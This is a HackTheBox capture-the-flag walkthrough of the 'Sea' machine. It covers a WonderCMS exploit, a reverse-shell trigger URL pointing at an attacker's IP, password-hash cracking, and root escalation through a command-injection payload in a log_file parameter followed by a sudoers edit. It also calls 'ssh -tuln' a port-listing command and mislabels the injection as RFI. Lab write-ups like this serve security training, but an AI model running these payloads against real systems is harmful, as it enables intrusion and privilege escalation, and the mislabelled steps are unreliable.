HackTheBox - Sea writeup
Last updated
Was this helpful?
Last updated
Was this helpful?
We can do a Nmap scan on the target to see which ports are open to get the first look
We can know now that we have two ports open 1. SSH - OpenSSH 8.2p1 2. HTTP - Apache httpd 2.4.41 looks like any Linux machine, you need to exploit the site you can see on http then authenticate to ssh to get a user flag then continue to privilage escalation.
Note: you should add [box_ip sea.htb] to your /etc/hosts file
We can see here that we got this page, but when clicking contact it showing us a page has a contact form, but nothing interested we can get there.
So we managed to enumerate the site to see if we can get an interesting pages there We can use gobuster or feroxbuster to enumerate, but I prefer feroxbuster You can install it from https://github.com/epi052/feroxbuster
We can see now that we have some interesting things like /themes/bike/version for example
If we visit that page we can see the version but not the service used unfortunately.
if we tried different wordlist, we can get an interesting file
We can see README.md contents to know what is the service used there
Now we know that the service is WonderCMS v3.2.0
First thing we should take care about is the PoCs we can get after we knew the service
https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413
We can use this exploit to get a reverse shell as www-data
Now we can get back to the Contact form and paste this to the admin as the exploit says:
Edited the code to solve the problem with urlWithoutLogBase
Variable Problem:
We got the shell successfully!, but make sure to visit http://sea.htb/themes/bike/revshell-main/rev.php?lhost=YOUR_IP&lport=YOUR_LISTENING_PORT
, because we installed main.zip file to our own, so if you unzipped the file you will see a directory called revshell_main
and a rev.php file inside, so this is why we need to visit the imported Module there to execute our reverse shell!
Now we have a shell as www-data, first thing to come in mind is to visit /var/www/sea to see if there is any configuration file can give us sensitive information to move one step further, and maybe a password!
We found a database.js file inside data directory, So we can see if there is any user information there or important information.
We got a password, we need to crack it but we don't know for which user is this, So we can see /etc/passwd for any users there we can see to know if we cracked the password which user to authenticate to ssh by.
We can see just amay here, so the password is the amay password.
— Cracking the password using hashcat:
We can now authenticate via ssh by amay
— Authentiacating via SSH:
As we can't run sudo on amay, we should check running ports by running ssh -tuln
to see which running ports are available to forwarded it to privilage escalate!
We can see 8080 port is running, so we should port forward it to see what interesting things we can see there.
— Port forwarding command:
Now we should visit http://localhost:8080
in our local machine to see what is running on this port
First, you will get an alert ask you for the username and the password, you can use the same as SSH.
Then, we can get this page:
We can see a log file and an Analyze button, we can get suspicious logs.
Our SSH session detected as suspicious pattern.
First thing to come here in mind, that maybe there is LFI here??
We can use Burp suite change requests to see if the site is vulnerable to LFI or even RFI?
Looks like it's vulnerable to LFI, ammmm, we can now try if it's vulnerable also to RFI or ...?
As we used log_file=%2Fetc%2Fpasswd
which means /etc/passwd
, we can now try log_file=%2Fetc%2Fpasswd+%26%26+id+#
Ohh, it's really vulnerable to RFI!!
As we can execute commands as root, We can now add amay to sudeors with full permission to gain full access to root!
— Adding Amay to sudeors with Full Permission:
We can now in our SSH session executing sudo -l
to check if we are now in sudeors files or not, then sudo -s
to get into root!
Sea Machine Pwned!!
You can support me if you liked the content, thank you!!